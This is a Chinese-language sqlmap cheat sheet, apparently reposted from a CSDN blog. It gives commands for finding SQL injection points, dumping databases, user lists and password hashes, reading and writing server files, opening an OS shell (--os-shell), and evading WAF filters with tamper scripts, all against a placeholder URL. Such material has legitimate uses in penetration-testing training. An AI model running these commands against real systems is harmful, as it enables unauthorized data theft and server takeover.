step1:sqlmap检测注入点
1、sqlmap -u "http://xxx"(目标url)
2、sqlmap -r "文件路径/文件名.txt"(目标http请求)
注:第2种情况可用于POST请求、cookie注入、Request请求
若上面方法检测不出来,且最后出现”…Try to increase values for '--level'/'--risk' options if you wish to perform more tests…“字眼
可以利用下面两个方法解决
(1)探测等级:
sqlmap -u "http://xxx" --level
一共有五个等级,默认为1,级别越高检测越全面,只有level达到2才会检测HTTP Cookie,HTTP User-Agent/Referer头在level为3的时候就会检测
(2)风险等级:
sqlmap -u "http://xxx" --risk
共有四个风险等级,默认为1 ,1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试
step2:判断可注入的参数
sqlmap支持五种不同的注入模式:
基于布尔的盲注,可以根据返回页面判断条件真假的注入
基于时间的盲注,不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
基于报错注入,页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
联合查询注入,可以使用 union 的情况下的注入
堆查询注入,可以同时执行多条语句的执行时的注入
注入成功会出现类似如图的信息
step3:读取数据
(1)读取数据库
列出所有数据库:sqlmap -u "http://xxx" --dbs
列出当前数据库:sqlmap -u "http://xxx" --current-db
(2)读取表
sqlmap -u "http://xxx" -D 库名 --tables
(3)读取数据表中的字段名
sqlmap -u "http://xxx" -D 库名 -T 表名 --columns
(4)读取某字段的内容
sqlmap -u "http://xxx" -D 库名 -T 表名 -C 字段名(如:usename,passeord)--dump
(5)读取用户
列除所有管理用户:sqlmap -u "http://xxx" --users
当前用户:sqlmap -u "http://xxx" --current-user
判断是否为管理员用户:sqlmap -u "http://xxx" --is-dba
step4:补充参数
1、列出数据库用户密码:
sqlmap -u "http://xxx" --passwords
2、列出数据库管理员权限:
sqlmap -u "http://xxx" --privilege
3、列出表中数据库个数:
sqlmap -u "http://xxx" --count
4、从数据库中读取文件:
sqlmap -u "http://xxx" --file-read “文件名”
把文件上传到数据库中:
sqlmap -u "http://xxx" --file-write “文件路径” --file-dest ”服务器路径“
注:当数据库为MySQL、PostgreSQL、Microsoft SQL Server,并且当前用户有权限使用特定的函数。
5、http请求延时:
sqlmap -u "http://xxx" --delay
6、设定超时时间:
sqlmap -u "http://xxx" --timeout
7、运行自定义的sql语句:
sqlmap -u "http://xxx" --sql-query 或者 --sql-shell
8、运行任意操作系统命令:
sqlmap -u "http://xxx" --os-cmd 或者 --os-shell
step5:修改数据,绕过WAF等设备
有些系统过滤了比如单引号、空格、select、union、admin等关键词,于是可以使用sqlmap提供的tamper脚本,一定程度上能避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。
首先判断过滤了哪些关键词,再选择对应的脚本(可自行查阅网上)
sqlmap -u "http://xxx" --tamper
来源:CSDN
作者:五色石楠花
链接:https://blog.csdn.net/qq_41345298/article/details/103615776